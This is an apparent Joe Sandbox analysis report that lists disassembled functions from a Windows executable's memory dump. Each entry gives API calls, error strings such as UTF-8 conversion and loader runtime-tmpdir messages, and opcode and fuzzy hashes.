Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: cb98499fc1b39dfd7da05849220f72695bdaa364a07dd0bdb7ab8caaa589c5fc
Instruction ID: 7422c28d3362fae868ea81fb918942aec3c43d2d452870e7733297ab4434741c
Opcode Fuzzy Hash: cb98499fc1b39dfd7da05849220f72695bdaa364a07dd0bdb7ab8caaa589c5fc
Instruction Fuzzy Hash: D3418133A3964282EA24FB59B4106A9E3A0FF45799FC54432DE4D07B69EF7CE581C720

Function 00007FF77B1EDC30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF77B1EDC8D

Part of subcall function 00007FF77B1EEBA0: __GetUnwindTryBlock.LIBCMT ref: 00007FF77B1EEBE3
Part of subcall function 00007FF77B1EEBA0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF77B1EEC08

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF77B1EDD65
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF77B1EDFBA
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF77B1EE0C6

Strings

csm, xrefs: 00007FF77B1EDD0E
csm, xrefs: 00007FF77B1EDD88
csm, xrefs: 00007FF77B1EDCA7

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 64a04dea20eab758f09741b49381e36ae6aa3d4dbdf263ead872da10faeebcc4
Instruction ID: 50b733c1046c7c0eef72f0b17b71bf2cf5e34391100726387952c4b17ac1132f
Opcode Fuzzy Hash: 64a04dea20eab758f09741b49381e36ae6aa3d4dbdf263ead872da10faeebcc4
Instruction Fuzzy Hash: 2DE18173A387458BEB60AFA9A4402ADB7A0FB4479DF444135EE4D47BA9CF38E081C750

Function 00007FF77B1E7600 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF77B1E101D), ref: 00007FF77B1E769F
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF77B1E101D), ref: 00007FF77B1E76EF

Strings

Out of memory., xrefs: 00007FF77B1E7721
Failed to get UTF-8 buffer size., xrefs: 00007FF77B1E7731
win32_utils_to_utf8, xrefs: 00007FF77B1E7728
WideCharToMultiByte, xrefs: 00007FF77B1E7738
Failed to encode wchar_t as UTF-8., xrefs: 00007FF77B1E7718

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: ff563fd808d69f35f83569dbbc19b7f1e21c5d08308d418d8919d0e7ff1619ab
Instruction ID: f1af0ea9bcf6224920e35fb983c94a65798715ac8230811fd865903dfbd8d704
Opcode Fuzzy Hash: ff563fd808d69f35f83569dbbc19b7f1e21c5d08308d418d8919d0e7ff1619ab
Instruction Fuzzy Hash: D5419233A39B8286E620EF59B44416AF7A5FB84B94F944135DA8D47BB8DF3CD052C710

Function 00007FF77B1E7B40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF77B1E3699), ref: 00007FF77B1E7B81

Part of subcall function 00007FF77B1E2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF77B1E7744,?,?,?,?,?,?,?,?,?,?,?,00007FF77B1E101D), ref: 00007FF77B1E2654
Part of subcall function 00007FF77B1E2620: MessageBoxW.USER32 ref: 00007FF77B1E272C

WideCharToMultiByte.KERNEL32(?,00007FF77B1E3699), ref: 00007FF77B1E7BF5

Strings

Out of memory., xrefs: 00007FF77B1E7BBB
Failed to get UTF-8 buffer size., xrefs: 00007FF77B1E7B8E
win32_utils_to_utf8, xrefs: 00007FF77B1E7BC2
WideCharToMultiByte, xrefs: 00007FF77B1E7B95, 00007FF77B1E7C06
Failed to encode wchar_t as UTF-8., xrefs: 00007FF77B1E7BFF

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: aced5f46d53ba3e30c592e5434d0d7ab1f54160dd14b943fd141642a19c75b6b
Instruction ID: 30054eeaad0b263d037c4b55eac166588190cf56db0aa0e67749acb93c8acbb5
Opcode Fuzzy Hash: aced5f46d53ba3e30c592e5434d0d7ab1f54160dd14b943fd141642a19c75b6b
Instruction Fuzzy Hash: BD217E72A39B4386FA10AF59B840079B2A1EB94B84F944535CA4D437B9EF7CE551C320

Function 00007FF77B1F9264 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F92A7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F9694
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F9930

Strings

p, xrefs: 00007FF77B1F9359
f, xrefs: 00007FF77B1F93C9
p, xrefs: 00007FF77B1F93D1

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction ID: 0703dc699ccf1054ffc963cccc91d14726e9f8016b946883790582f820170e1c
Opcode Fuzzy Hash: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction Fuzzy Hash: F0128D73E3E1438AFB24BA59F0546B9B691EB80798FD44135D789466ECDA3CF580CB20

Function 00007FF77B1E7C30 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7CC5
MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7D07

Strings

Out of memory., xrefs: 00007FF77B1E7D36
Failed to decode wchar_t from UTF-8, xrefs: 00007FF77B1E7D2D
win32_utils_from_utf8, xrefs: 00007FF77B1E7D3D
MultiByteToWideChar, xrefs: 00007FF77B1E7D4D
Failed to get wchar_t buffer size., xrefs: 00007FF77B1E7D46

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 626452242-876015163
Opcode ID: 290b57ca8453ae885af3ff2fc0035437ec55c1325ab119fe22c2f927501d8716
Instruction ID: 771ed40df98fe6048a7502e1013840c1c260fd0a3c502099ad6deefb8b76a7c9
Opcode Fuzzy Hash: 290b57ca8453ae885af3ff2fc0035437ec55c1325ab119fe22c2f927501d8716
Instruction Fuzzy Hash: B5419133A3AA4282E620EF59B440179E7A5FB44B95F944135DA4D87BBCEF3CE052C710

Function 00007FF77B1E6480 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77B1E7A30: MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF77B1E67CF,?,00000000,?,TokenIntegrityLevel), ref: 00007FF77B1E64DF

Part of subcall function 00007FF77B1E2770: MessageBoxW.USER32 ref: 00007FF77B1E2841

Strings

LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF77B1E64F3
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF77B1E64B6
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF77B1E653A

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: e82e75a9301f2c01be817318613aadd6cb56ce3046e43f6970fb0f78f3b425c1
Instruction ID: a6fad4bba16c693a3fcb0d0b7085b74afd180e97baf5f67747c1d8401b2344f3
Opcode Fuzzy Hash: e82e75a9301f2c01be817318613aadd6cb56ce3046e43f6970fb0f78f3b425c1
Instruction Fuzzy Hash: 37318873B3978242FA64B769B5553BAD251AF997C5FC40431DA0E826FEEE2CE1048720

Function 00007FF77B1ECEE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF77B1ED19A,?,?,?,00007FF77B1ECE8C,?,?,00000001,00007FF77B1ECAA9), ref: 00007FF77B1ECF6D
GetLastError.KERNEL32(?,?,?,00007FF77B1ED19A,?,?,?,00007FF77B1ECE8C,?,?,00000001,00007FF77B1ECAA9), ref: 00007FF77B1ECF7B
LoadLibraryExW.KERNEL32(?,?,?,00007FF77B1ED19A,?,?,?,00007FF77B1ECE8C,?,?,00000001,00007FF77B1ECAA9), ref: 00007FF77B1ECFA5
FreeLibrary.KERNEL32(?,?,?,00007FF77B1ED19A,?,?,?,00007FF77B1ECE8C,?,?,00000001,00007FF77B1ECAA9), ref: 00007FF77B1ECFEB
GetProcAddress.KERNEL32(?,?,?,00007FF77B1ED19A,?,?,?,00007FF77B1ECE8C,?,?,00000001,00007FF77B1ECAA9), ref: 00007FF77B1ECFF7

Strings

api-ms-, xrefs: 00007FF77B1ECF8D

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 46f8882ba5516ded8d0f67aa9085a497a0d646e74245b223b6bb25c85e55adca
Instruction ID: 9576283ba7e3d04dba25f209b81bd73277c10f08e524d2cc21d03da1e95e1f18
Opcode Fuzzy Hash: 46f8882ba5516ded8d0f67aa9085a497a0d646e74245b223b6bb25c85e55adca
Instruction Fuzzy Hash: D431C333A3A64692EE51BB4AB800575A3D4FF08BA9FC94535ED1D0A3A8DF3CE445C720

Function 00007FF77B1E7A30 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

Part of subcall function 00007FF77B1E2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF77B1E7744,?,?,?,?,?,?,?,?,?,?,?,00007FF77B1E101D), ref: 00007FF77B1E2654
Part of subcall function 00007FF77B1E2620: MessageBoxW.USER32 ref: 00007FF77B1E272C

MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7AF0

Strings

Out of memory., xrefs: 00007FF77B1E7AB2
Failed to decode wchar_t from UTF-8, xrefs: 00007FF77B1E7AFA
win32_utils_from_utf8, xrefs: 00007FF77B1E7AB9
MultiByteToWideChar, xrefs: 00007FF77B1E7A7E, 00007FF77B1E7B01
Failed to get wchar_t buffer size., xrefs: 00007FF77B1E7A77

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: a067ef3949ab1c43b8cad70a8c207a907739284b21da8d2c9820fdf83144c31f
Instruction ID: 3f08841314bd9e3026a6211abf23b433f4e34ee32edba86006a394adbd7d9b66
Opcode Fuzzy Hash: a067ef3949ab1c43b8cad70a8c207a907739284b21da8d2c9820fdf83144c31f
Instruction Fuzzy Hash: 1F214173B39A4282EB50EB2DF440069E361EB99788F984536DB4C83BBDEF6CD5518710

Function 00007FF77B1FA620 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F,?,?,?,00007FF77B1F9313), ref: 00007FF77B1FA62F
FlsGetValue.KERNEL32(?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F,?,?,?,00007FF77B1F9313), ref: 00007FF77B1FA644
FlsSetValue.KERNEL32(?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F,?,?,?,00007FF77B1F9313), ref: 00007FF77B1FA665
FlsSetValue.KERNEL32(?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F,?,?,?,00007FF77B1F9313), ref: 00007FF77B1FA692
FlsSetValue.KERNEL32(?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F,?,?,?,00007FF77B1F9313), ref: 00007FF77B1FA6A3
FlsSetValue.KERNEL32(?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F,?,?,?,00007FF77B1F9313), ref: 00007FF77B1FA6B4
SetLastError.KERNEL32(?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F,?,?,?,00007FF77B1F9313), ref: 00007FF77B1FA6CF

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6fa1fab48d66e1463309dc109adf4585d75bfd82a6fbadce2d7c74c597cc3b40
Instruction ID: b29d1c9f5d4931e311b14a927541c6e68026ac74de4cff340d289f869aa21085
Opcode Fuzzy Hash: 6fa1fab48d66e1463309dc109adf4585d75bfd82a6fbadce2d7c74c597cc3b40
Instruction Fuzzy Hash: B3216033A3E60289FA5477696551179D2525F84BF8F846634DA3E076FEDE2CF400C220

Function 00007FF77B20706C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF77B20709D
GetLastError.KERNEL32 ref: 00007FF77B2070A9
CloseHandle.KERNEL32 ref: 00007FF77B2070C1
CreateFileW.KERNEL32 ref: 00007FF77B2070EC
WriteConsoleW.KERNEL32 ref: 00007FF77B20710B

Strings

CONOUT$, xrefs: 00007FF77B2070CD

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 1a41989b306c04176fbb8ce5d038fb17b2eb18ca34d01c5ff4cda60dd112554e
Instruction ID: 2bc95d5f922943e466407c94f6243509f5573eb537bf10017c3ba873a0336349
Opcode Fuzzy Hash: 1a41989b306c04176fbb8ce5d038fb17b2eb18ca34d01c5ff4cda60dd112554e
Instruction Fuzzy Hash: F7119632739A4586E750AB1AE854325F2A0FB98FE4F944234DA5E477B8CF3CD5048760

Function 00007FF77B1FA798 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF77B1F444D,?,?,?,?,00007FF77B1FDDA7,?,?,00000000,00007FF77B1FA8B6,?,?,?), ref: 00007FF77B1FA7A7
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F444D,?,?,?,?,00007FF77B1FDDA7,?,?,00000000,00007FF77B1FA8B6,?,?,?), ref: 00007FF77B1FA7DD
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F444D,?,?,?,?,00007FF77B1FDDA7,?,?,00000000,00007FF77B1FA8B6,?,?,?), ref: 00007FF77B1FA80A
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F444D,?,?,?,?,00007FF77B1FDDA7,?,?,00000000,00007FF77B1FA8B6,?,?,?), ref: 00007FF77B1FA81B
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F444D,?,?,?,?,00007FF77B1FDDA7,?,?,00000000,00007FF77B1FA8B6,?,?,?), ref: 00007FF77B1FA82C
SetLastError.KERNEL32(?,?,?,00007FF77B1F444D,?,?,?,?,00007FF77B1FDDA7,?,?,00000000,00007FF77B1FA8B6,?,?,?), ref: 00007FF77B1FA847

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: f18d8f431814927885b9c894ece884b545559122ce24857c2491552e22e71327
Instruction ID: e39dfa8115ad96dbf876903021147e7fea836a5bfab51db77065f66dc458cc24
Opcode Fuzzy Hash: f18d8f431814927885b9c894ece884b545559122ce24857c2491552e22e71327
Instruction Fuzzy Hash: B8118E33A3E2028AFA5877296941079D2625F847B8F905734DA2E076FEDE6CF402C220

Function 00007FF77B1EC8A8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF77B1EC8D3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF77B1EC968
RtlUnwindEx.KERNEL32 ref: 00007FF77B1EC9B7

Strings

f, xrefs: 00007FF77B1EC8E6
csm, xrefs: 00007FF77B1EC94E

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 42fbbb83cedbe148bfcc1de87ea3e914151e174f0a46670c6939306692d2d31c
Instruction ID: dab20070de72b6a6498103c47c597b22c9ad1e832ecfa961fef0cdf912f18bf3
Opcode Fuzzy Hash: 42fbbb83cedbe148bfcc1de87ea3e914151e174f0a46670c6939306692d2d31c
Instruction Fuzzy Hash: 3F51A033A3960287DB14EB59F804A29B795FB84B8DF918130DA5A477ACEF78E941C710

Function 00007FF77B1E2240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF77B1E242F), ref: 00007FF77B1E2278
DialogBoxIndirectParamW.USER32 ref: 00007FF77B1E233C
DeleteObject.GDI32 ref: 00007FF77B1E236F
DestroyIcon.USER32 ref: 00007FF77B1E2381

Strings

Unhandled exception in script, xrefs: 00007FF77B1E22A8

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 01a0bb9e98a22bc39d92f1d9306349b6b95e7735addeeef39cbdf51254e5f23a
Instruction ID: 8fc363bee575da20c0a67c5a6ac3ec7361102a52f47cfd187e3d430873533d23
Opcode Fuzzy Hash: 01a0bb9e98a22bc39d92f1d9306349b6b95e7735addeeef39cbdf51254e5f23a
Instruction Fuzzy Hash: A3314137A39A8289EB24EF65F8551E9A360FF89788F800135EA4D4BB69DF3CD145C710

Function 00007FF77B1E2620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

